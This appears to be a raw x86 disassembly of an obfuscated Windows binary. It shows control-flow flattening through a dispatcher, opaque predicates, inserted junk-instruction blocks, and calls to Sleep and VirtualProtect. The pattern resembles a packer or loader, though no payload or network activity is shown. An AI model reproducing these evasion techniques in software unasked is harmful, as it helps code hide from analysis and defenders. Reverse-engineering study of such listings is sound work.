and dl, ch
xor ch, ah
and cl, ch
mov ch, al
xor ch, ah
and ch, al
and al, ah
or al, dl
or al, ch
mov ch, cl
mov edx, eax
xor ch, 1
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0xeb80703b
mov cl, al
xor cl, ch
test al, al
mov eax, 0xeb80703b
cmovne eax, esi
test ch, ch
jmp 0x40dda2
mov eax, dword [ebp - 0x38]
mov dword [eax], 0xc
mov eax, 0x989f177
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x20
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x95e2ad5c
and eax, 0xa1d2bfd5
mov esi, edx
and esi, 0x6a1d52a2
or ecx, esi
mov esi, ecx
xor esi, 0x822408
xor ecx, 0x22054221
and ecx, 0xb765cb75
and esi, 0x489a348a
or esi, ecx
mov ecx, edx
or ecx, 0xb765cb74
and edx, 0x5e2d402a
and ecx, 0xb765cb75
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x155e846a
and esi, 0xeaa17b95
or ecx, esi
mov esi, ecx
xor esi, 0x4028028
xor ecx, 0xeaa17b95
mov edx, ecx
and edx, 0xd95c0dc2
and esi, 0x26a3f23d
or esi, edx
mov edx, eax
xor edx, 0x2082b215
xor eax, 0x5e2d402a
or ecx, eax
and eax, 0xd95c0dc2
and edx, 0x26a3f23d
or edx, eax
not ecx
xor edx, esi
mov esi, 0x3258627b
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9898c1d3
and eax, 0x67673e2c
or ecx, eax
cmp ecx, 0x9898c1d3
sete dl
cmp dword [0x48f780], 0xa
mov ah, dl
setge cl
setl al
or ah, al
xor al, dl
xor dl, cl
and cl, dl
xor dl, 1
and al, ah
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
xor cl, 1
and al, dl
or cl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xcc77657a
cmovne ecx, esi
test al, 1
mov eax, 0xcc77657a
jmp 0x40e27b
mov eax, dword [ebp - 0xc0]
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x94011270
and eax, 0x4012c18c
mov edx, ecx
and edx, 0x2aa80401
or ecx, 0x1e881450
or esi, edx
and ecx, 0x1fcc3c52
mov edx, esi
xor edx, 0x80010220
xor esi, 0xbcc2c02
or eax, ecx
and esi, 0x1fcc3c52
and edx, 0xa0210221
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb5e90994
and ecx, 0x4a16f66b
or eax, ecx
mov ecx, eax
xor eax, 0x38a012
xor ecx, 0xb401fe5
mov edx, ecx
and eax, 0x838bfb6
and edx, 0xf7c74049
and ecx, 0x897d6b61
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0xf7c74049
xor esi, 0x7eba2b28
xor edx, 0x810a594
and esi, eax
and edx, 0xdcd1e59c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xabd1648c
and esi, 0x542e9b73
or ecx, esi
mov esi, eax
and esi, 0x232e1a63
and eax, 1
or esi, edx
xor ecx, 0xdd53f013
xor esi, 0xdcd1e59d
or eax, esi
not eax
or eax, ecx
mov edx, eax
xor edx, 0xe3eb88a6
mov ecx, eax
and ecx, 0x42c10024
and edx, eax
not eax
and eax, 0xa12a8882
or ecx, eax
mov eax, ecx
xor eax, 0x400024
xor ecx, 0xbd3effdb
mov esi, ecx
and esi, 0x5fb9c3d9
and eax, 0xa0420826
or eax, esi
mov esi, edx
not esi
and edx, 0xa0463c26
or ecx, esi
and esi, 0x5fb9c3d9
or edx, esi
not ecx
mov esi, 0x893da4d8
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd2db57b
and eax, 0xf2d24a84
or ecx, eax
xor ecx, 0xeec63ddd
setne ah
sete ch
cmp dword [0x48f780], 0xa
setl dl
setge al
mov cl, dl
and ah, dl
and al, ch
xor cl, ch
or al, ah
mov dh, cl
and cl, dl
xor al, 1
or dl, ch
and dh, ch
mov ah, al
or al, dl
mov bl, dh
xor dh, cl
xor cl, 1
xor ah, dl
xor al, 1
xor bl, 1
or al, ah
or cl, bl
xor cl, 1
or cl, dh
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xf61dc1c
cmovne eax, esi
test cl, 1
mov ecx, 0xf61dc1c
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x930b1d
mov esi, ecx
and esi, 0xff6cf4e2
mov edi, ecx
or edi, 0x84208d93
and ecx, 0x1a67111a
or edx, esi
and edi, 0x8da48f93
mov esi, edx
xor edx, 0x84208482
xor esi, 4
or edx, 0x9840200
and esi, 0x60487044
and edx, 0x8da48f93
or esi, edx
mov edx, eax
and edx, 0x12130028
and eax, 0xe598eee5
or edx, edi
or eax, ecx
xor edx, esi
mov ecx, eax
xor ecx, 0xe598eee5
xor eax, 0x1a67111a
mov esi, edx
not esi
and edx, 0xe468fdd6
and esi, 0x1b970229
or edx, esi
mov esi, 0x33601521
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
sete cl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4ffa50b5
cmovne edx, esi
test al, al
mov eax, 0x4ffa50b5
jmp 0x410365
mov eax, dword [ebp - 0x7c]
mov ecx, dword [0x48f784]
inc eax
mov dword [ebp - 0x14c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x78609ae6
and edx, 0x879f6519
or edx, esi
mov esi, ecx
not esi
and ecx, 0x879f6519
or eax, esi
and esi, 0x78609ae6
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1bab4f58
and eax, 0xc042048
mov edx, ecx
and edx, 0xe454b0a7
or ecx, 0xa25901
or esi, edx
and ecx, 0x1a3dd27
mov edx, esi
xor esi, 0x1001
xor edx, 0x12080210
or eax, ecx
or esi, 0x1018426
and edx, 0xf2580290
and esi, 0x1a3dd27
or edx, esi
mov esi, 0xf6fbafdc
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x448754f5
and ecx, 0xbb78ab0a
or eax, ecx
mov ecx, eax
xor ecx, 0x61c0220
xor eax, 0x1820082
and eax, 0xb1e30dc6
and ecx, 0x4e1cf239
or ecx, eax
xor ecx, 0xb1e30dc6
sete dl
setne ah
cmp dword [0x48f780], 0xa
setge cl
setl al
or cl, dl
or ah, al
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor al, dl
or ah, dl
or cl, ch
xor ah, 1
mov edx, ecx
or al, ah
mov ah, cl
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
xor dl, al
mov ecx, edx
xor cl, ah
test ah, 1
mov eax, 0x733d2526
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x733d2526
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 2
mov eax, 0xd0230814
jmp 0x401200
imul ebx
bswap edi
inc esi
imul edi
bswap edx
rcr eax, 0xf6
neg ebx
rcr edi, 0x47
rol edi, 0x37
ror eax, 0x3d
dec eax
neg ebx
imul edi
and edx, 0xfb
mov edx, 0x2e
or esi, 0x91
mov edi, 0x7e
imul esi
rcr esi, 0xe0
neg edi
and ebx, 0x27
sub ebx, 0x8f
or esi, 0x7e
neg eax
and eax, 0xd4
bswap ebx
neg esi
dec eax
mov edx, 0x71
and esi, 0xca
bswap edi
or esi, 0xfa
bswap eax
sbb esi, 0x63
not edx
bswap edx
or edx, 0xfd
ror esi, 0x5f
sub edi, 0x25
rcr edx, 0x68
sub ebx, 0xe0
add esi, 0xc4
sbb edi, 0x28
bswap edx
dec eax
imul edi
imul ebx
rol eax, 0x1a
or eax, 0x61
dec eax
neg edi
or eax, 0x3a
add edi, 0x23
inc eax
sbb esi, 0xd8
inc eax
not edi
rol esi, 0xc7
neg edi
not esi
imul eax
neg ebx
rcr ebx, 0xc4
imul edx
rol edi, 0xbc
rcr esi, 0x91
imul edx
add esi, 0x6c
bswap ebx
imul edi
dec esi
or eax, 0xf6
and esi, 0x69
not edi
or ebx, 0xc6
rcr edx, 0x6a
and ebx, 0xc1
neg esi
bswap esi
neg edx
bswap edx
inc edi
sub ebx, 0x77
rol eax, 0x97
rol edx, 0x75
neg ebx
inc ebx
neg eax
rol eax, 0x41
sub ebx, 0x6f
neg ebx
add eax, 0xc8
dec edi
sub ebx, 0xb6
sub edx, 2
neg eax
bswap edi
sbb eax, 0x8d
sub eax, 0xfb
neg esi
not edi
not edi
neg edi
ror edx, 0x32
imul edx
neg ebx
dec eax
inc eax
not eax
rcl edx, 0x30
rol eax, 0x2b
mov edx, 0xd4
dec edx
ror edi, 0x4c
imul edx
dec ebx
sbb esi, 0xd7
and edi, 0xab
rol edx, 0xa
not edi
bswap eax
imul esi
ror edx, 0x8e
rol ebx, 0x43
neg edx
sub esi, 0xda
imul eax
sub ebx, 0x14
mov ebx, 0x9f
add ebx, 0xff
and esi, 0xf4
mov edx, 0x97
ror esi, 0x82
neg eax
inc edi
bswap edi
add edi, 0x44
and eax, 0x81
or eax, 0xde
not ebx
rcr edi, 0x2f
add eax, 0x93
or edx, 0x2f
add eax, 0x47
dec ebx
imul edi
add eax, 0xb0
sub edx, 1
bswap eax
rcr eax, 0xb4
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
mov dword [ebp - 0x1e0], eax
mov eax, 0xe3a1f4d8
jmp 0x401200
mov eax, dword [ebp - 0x38]
mov esi, 0xe0c73e8d
mov dword [eax], 1
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x974b13cd
and ecx, 0x68b4ec32
or ecx, edx
mov eax, ecx
xor ecx, 0x48908c00
xor eax, 0x974b13cd
mov edx, eax
and ecx, 0xcbdb9dcd
and eax, 0x34246232
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x34246233
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd1d03f8a
and ecx, 0x2e2fc075
or eax, ecx
mov ecx, eax
xor ecx, 0x1180330a
xor eax, 0x2e0b0030
and eax, 0xee5b0cb0
and ecx, 0x11a4f34f
or ecx, eax
mov eax, ecx
xor eax, 0xaa010400
xor ecx, 0x11a4f34f
mov edx, ecx
and edx, 0x555e0bba
and eax, 0xaaa1f445
or eax, edx
xor eax, 0xaaa1f445
or eax, ecx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x48f780], 0xa
setge cl
setl ch
mov dh, cl
and al, cl
and ch, dl
xor dh, dl
or al, ch
mov ah, dh
and ah, cl
or cl, dl
xor cl, 1
or cl, dh
and dh, dl
mov bl, dh
xor dh, ah
xor ah, 1
xor cl, 1
xor bl, 1
or cl, al
or ah, bl
xor ah, 1
or ah, dh
xor ah, 1
mov dl, ah
xor ah, cl
or dl, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x94328cb1
cmovne eax, esi
test dl, 1
mov edx, 0x94328cb1
jmp 0x40dda2
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xf485f633
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x5c03e48
and ecx, 0xfa3fc1b7
or edx, ecx
xor edx, 0x5c03e48
or eax, edx
mov esi, eax
xor esi, 0xd0850a28
mov edx, eax
and edx, 0x5e28c580
and esi, eax
not eax
and eax, 0xa1d73a7f
or edx, eax
mov ecx, edx
xor edx, 0xa1d73a7f
xor ecx, 0x5e28c580
mov eax, edx
or eax, 0x2f7af5d7
mov ebx, ecx
and ebx, 0xd0850a20
and edx, 0x42f341a7
mov edi, eax
and edi, 0x2d00c00e
or ebx, edi
mov edi, esi
not edi
and esi, 0xd2ff3ff1
or eax, edi
and edi, 0x2d00c00e
or esi, edi
not eax
xor esi, ebx
or eax, esi
not esi
and esi, 0x2f7af5d6
and eax, 0xd0850a29
or eax, esi
mov esi, ecx
and esi, 0xbd0cbe58
and ecx, 1
or esi, edx
mov edx, eax
not edx
and eax, 0xff706a3d
xor esi, 0x42f341a6
or ecx, esi
mov esi, edx
and esi, 0x8f95c2
or eax, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0x8f95c2
and esi, 0xff706a3d
not edx
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0x74d01e81
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x76e53a23
and ecx, 0x891ac5dc
or eax, ecx
andn ecx, edx, edx
xor eax, 0x76e53a23
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x694b042a
and eax, 0x96b4fbd5
or eax, ecx
xor eax, 0x96b4fbd5
sete al
setne cl
cmp dword [0x48f780], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov edx, eax
mov ecx, eax
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
xor dl, ah
xor ah, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
xor cl, ah
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xc9d9295a
cmovne edx, esi
test al, al
mov eax, 0xc9d9295a
jmp 0x410ba4
imul ebx
sub ebx, 0xaf
inc edi
not edi
bswap eax
bswap esi
rol esi, 0xe9
rcr eax, 0xdc
ror edi, 0xac
rol eax, 0x4e
or ebx, 0x50
rcl edx, 0xc6
and edi, 0x14
sbb edx, 0x2d
neg eax
and edx, 0x8c
rcr edx, 0xe3
rol ebx, 0x67
imul esi
neg ebx
not edi
not esi
and edi, 0xa8
dec esi
mov ebx, 0x2b
inc edi
not ebx
rcr edx, 0x83
imul eax
rcl eax, 0x2c
or edi, 0x61
neg eax
sbb ebx, 0x39
mov eax, 0x9c
dec esi
neg ebx
rcr edi, 0x95
or edi, 0x43
bswap esi
sbb eax, 0xf5
imul edx
sbb ebx, 0x3a
not esi
rcr ebx, 0x37
mov eax, 0xed
or edi, 0xf7
inc edx
dec esi
add edi, 0x36
neg eax
or edx, 0x30
add esi, 0x2e
bswap edx
sub ebx, 9
inc edx
ror ebx, 0x65
ror eax, 0x49
ror eax, 0x9f
rcr eax, 0xcb
bswap ebx
sub edi, 0x41
inc eax
inc edx
sub esi, 0x1d
inc edi
sub edi, 0x54
bswap edx
inc ebx
ror edi, 0x4b
rol edx, 0x25
bswap edi
not edi
dec eax
dec edx
sub edi, 0x21
inc ebx
imul esi
sbb edx, 0xfc
dec esi
mov edx, 0x53
ror edx, 0x1d
sub edx, 0x4e
sub ebx, 0xa6
neg edi
imul ebx
not ebx
dec edi
and edi, 0xa8
or ebx, 0xcc
rol edi, 0xcb
neg eax
neg ebx
rcr ebx, 0x99
sub edi, 0x5d
and ebx, 0x94
bswap esi
neg ebx
imul eax
sub edi, 0xd3
and ebx, 0xdc
rcr eax, 0x82
neg esi
and ebx, 0x10
rol ebx, 0xf
inc edx
bswap edx
bswap edi
imul esi
not eax
dec esi
not edi
bswap ebx
ror ebx, 0xbb
dec edx
neg ebx
ror edi, 0xe1
sbb edi, 0xcb
not edx
and edi, 0x7b
rol ebx, 0x60
mov ebx, 0x5b
not esi
or edi, 0x10
not esi
sub eax, 8
rcr ebx, 0x5b
rcl edx, 0x34
rol ebx, 0xbb
and edi, 0x1a
rcr ebx, 0xfa
neg eax
sbb esi, 0x6f
add esi, 0xee
neg edx
add ebx, 0x1c
neg ebx
rcr eax, 0x6f
and edx, 0x62
bswap eax
bswap edi
sbb esi, 0x3a
rol ebx, 7
ror edi, 0x3e
ror ebx, 0x33
sub eax, 0x1a
inc esi
neg esi
neg ebx
ror eax, 0xab
ror edi, 0x30
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x21c], eax
mov eax, 0x3aca371e
jmp 0x401200
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x168]
mov eax, 0x44eff42f
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7084400a
mov esi, eax
and esi, 0x230d40
mov edi, eax
or edi, 0x860840
and eax, 0xed6cd874
or edx, esi
and edi, 0x859e9ad5
mov esi, edx
xor esi, 0x7000400a
xor edx, 0x851a9ad5
and edx, 0x859e9ad5
and esi, 0x7021450a
or esi, edx
mov edx, ecx
and edx, 0xa402020
or edx, edi
xor edx, esi
mov esi, edx
not esi
and edx, 0x70a74d4b
and esi, 0x8f58b2b4
or edx, esi
mov esi, edx
not esi
and edx, 0xa6824a58
and esi, 0x597db5a7
or edx, esi
mov esi, edx
xor esi, 0xa4004850
xor edx, 0x597db5a7
mov edi, edx
or edx, ecx
and ecx, 0x1293278b
and edi, 0x1293278b
and esi, 0xed6cd874
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xebe884cc
or edx, eax
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x48f780], 0xa
setl cl
setge al
and ah, al
and cl, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x3ec837d8
cmovne eax, esi
test dl, dl
mov edx, 0x3ec837d8
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x401200
mov eax, 0x2aac22e7
jmp 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, 0x7c4be7c0
jmp 0x401200
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x110], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x18]
push dword [ebp - 0x14]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xfffffffe
not ecx
mov esi, ecx
and esi, 0xfffffffe
and eax, edx
and ecx, 0x609a7ff
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xf9f65800
and edi, 0xf9f65800
and esi, 0x609a7ff
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0x25df2b1d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9a669bd2
and ecx, 0x6599642d
or eax, ecx
cmp eax, 0x9a669bd2
setne al
cmp dword [0x48f780], 0xa
setl dl
setge cl
mov ah, dl
or ah, al
inc al
or cl, al
mov ch, ah
xor ch, cl
or cl, ah
mov ah, dl
or ah, al
xor al, dl
xor cl, 1
xor al, 1
or cl, ch
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
mov ah, cl
or al, dl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9ef97a3
cmovne ecx, esi
test al, 1
mov eax, 0x9ef97a3
jmp 0x4011f2
mov eax, 0xea0ee54a
jmp 0x401200
mov eax, dword [ebp - 0x1c]
mov esi, 0x99b2ef82
mov edi, 0xb526cdce
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov ecx, dword [0x48f784]
mov dword [ebp - 0x178], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd1b17e45
and edx, 0x2e4e81ba
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x7354408
and edx, 0xf8cabbf7
or ecx, edx
mov edx, ecx
xor edx, 0x297bc5b3
xor ecx, 0xd6843a4c
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x48f780], 0xa
mov ch, dl
setl al
setge cl
xor ch, al
or al, dl
xor ah, cl
or cl, dl
xor al, 1
and ch, dl
xor cl, 1
or al, ah
or cl, ch
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb526cdce
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
test al, al
jmp 0x4112ee
cmp byte [ebp - 0xb0], 0
mov eax, 0x70859fb3
mov ecx, 0x40858132
cmovne eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x58]
add eax, 2
mov dword [ecx], eax
mov eax, 0x148752f0
jmp 0x401200
mov eax, 0x3490d463
jmp 0x401200
mov eax, dword [0x48f784]
mov esi, 0x41825f5b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc2108100
mov edx, eax
and edx, 0x114a00f1
and eax, 0x2ca57e0e
or ecx, edx
xor ecx, 0xc2108100
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x4fca8bd5
and eax, 0xb035742a
or eax, edx
xor eax, 0xb035742b
or eax, ecx
mov edx, eax
xor edx, 0x4cf60c48
mov ecx, eax
and ecx, 0x48020848
and edx, eax
not eax
and eax, 0x4f40400
or ecx, eax
xor ecx, 0x48020848
or ecx, edx
not edx
and edx, 0xb309f3b7
and ecx, 0x4cf60c48
or ecx, edx
setne cl
sete dl
cmp dword [0x48f780], 0xa
setl al
setge ah
or cl, al
or ah, dl
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor al, dl
xor cl, 1
or ah, dl
or cl, ch
xor ah, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x31d07d5b
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x31d07d5b
jmp 0x411184
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x163e61b4
and eax, 0xe9c19e4b
or ecx, eax
xor ecx, 0x163e61b4
or edx, ecx
mov eax, edx
xor eax, 0xcf70a1ad
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0x108e5200
andn esi, edx, eax
and edx, 0x20cf5790
mov eax, esi
not eax
and esi, 0x54bef289
mov edi, eax
and edi, 0xab410d76
or esi, edi
mov edi, ecx
or edi, 0xcf70a1ad
or ecx, 1
or eax, edi
and edi, 0xab410d76
and ecx, 0xdf30a86f
or ebx, edi
not eax
or ecx, edx
xor ebx, esi
or eax, ebx
mov esi, eax
not esi
and eax, 0x20d9453d
and esi, 0xdf26bac2
or eax, esi
mov esi, eax
xor esi, 0xa5004490
xor eax, 0x10561b6e
mov edx, eax
and edx, 0x5aadb261
and esi, 0xa5524d9e
or esi, edx
mov edx, ecx
xor edx, 0x8510080e
xor ecx, 0x20cf5790
or eax, ecx
and ecx, 0x5aadb261
and edx, 0xa5524d9e
or edx, ecx
not eax
xor edx, esi
mov esi, 0x3490d463
or eax, edx
mov ecx, eax
xor ecx, 0x8ffa9fc1
and ecx, eax
not eax
and eax, 0x8ffa9fc1
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xc59b4ad3
and eax, 0x3a64b52c
or ecx, eax
mov eax, ecx
xor eax, 0x4a41d010
xor ecx, 0x240a0869
and ecx, 0x242a0d6b
and eax, 0xdbd5f294
or eax, ecx
mov ecx, eax
xor ecx, 0x5a054080
xor eax, 0x4020121
and eax, 0x85d2b335
and ecx, 0x7a2d4cca
or ecx, eax
xor ecx, 0x7a2d4cca
sete ah
setne ch
cmp dword [0x48f780], 0xa
setge cl
setl dl
mov al, cl
or cl, ch
or ch, dl
xor dl, ah
xor cl, 1
or al, ah
xor ch, 1
or cl, dl
xor dl, 1
xor al, 1
mov ah, dl
or dl, cl
or al, ch
xor ah, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, ch
mov ch, dl
xor dl, 1
and ch, al
xor al, 1
and dl, al
xor al, ah
or cl, al
or dl, ch
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x1ced8272
cmovne esi, eax
test cl, 1
mov eax, 0x3490d463
jmp 0x40cb18
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x9df8bfdd
mov ecx, eax
and ecx, 0x62074022
and eax, 0xd231e1dc
or esi, ecx
mov ecx, edx
or ecx, 0x99915824
mov edi, esi
xor edi, 0x468a7d8
xor esi, 0x14020
and ecx, 0x99915825
and esi, 0x99915824
and edi, 0x666ea7da
or edi, esi
xor ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x2dce1e23
and edi, 0x2dce1e23
and esi, 0xd231e1dc
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0xc40c1c21
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x84c4c29a
and eax, 0x7b3b3d65
or ecx, eax
xor ecx, 0x84c4c29a
sete ah
setne dl
cmp dword [0x48f780], 0xa
setge cl
setl al
mov ch, cl
or cl, ah
xor ch, dl
or dl, al
or al, ah
mov ah, dl
xor al, 1
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and cl, al
xor al, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0xd2fe52c6
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xd2fe52c6
jmp 0x4011f2
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0xb5898a77
and edi, 0x4a767588
and eax, 0x6cc63773
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x9339c88c
mov ebx, esi
not ebx
and esi, 0x4a767588
or eax, ecx
or edx, ebx
and ebx, 0xb5898a77
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x6cc63773
mov edi, esi
and edi, 0x9339c88c
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xda9149e
setne cl
cmp dword [0x48f780], 0xa
setge al
mov edx, eax
or al, cl
mov ah, al
xor dl, cl
mov ecx, eax
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
and cl, dl
xor dl, 1
xor ah, 1
and ah, dl
or dl, al
or cl, ah
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xa4d0cb53
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, al
mov eax, 0xa4d0cb53
jmp 0x410f94
mov eax, dword [ebp - 0x1c]
mov esi, 0xd06283ff
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x154], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9c272bad
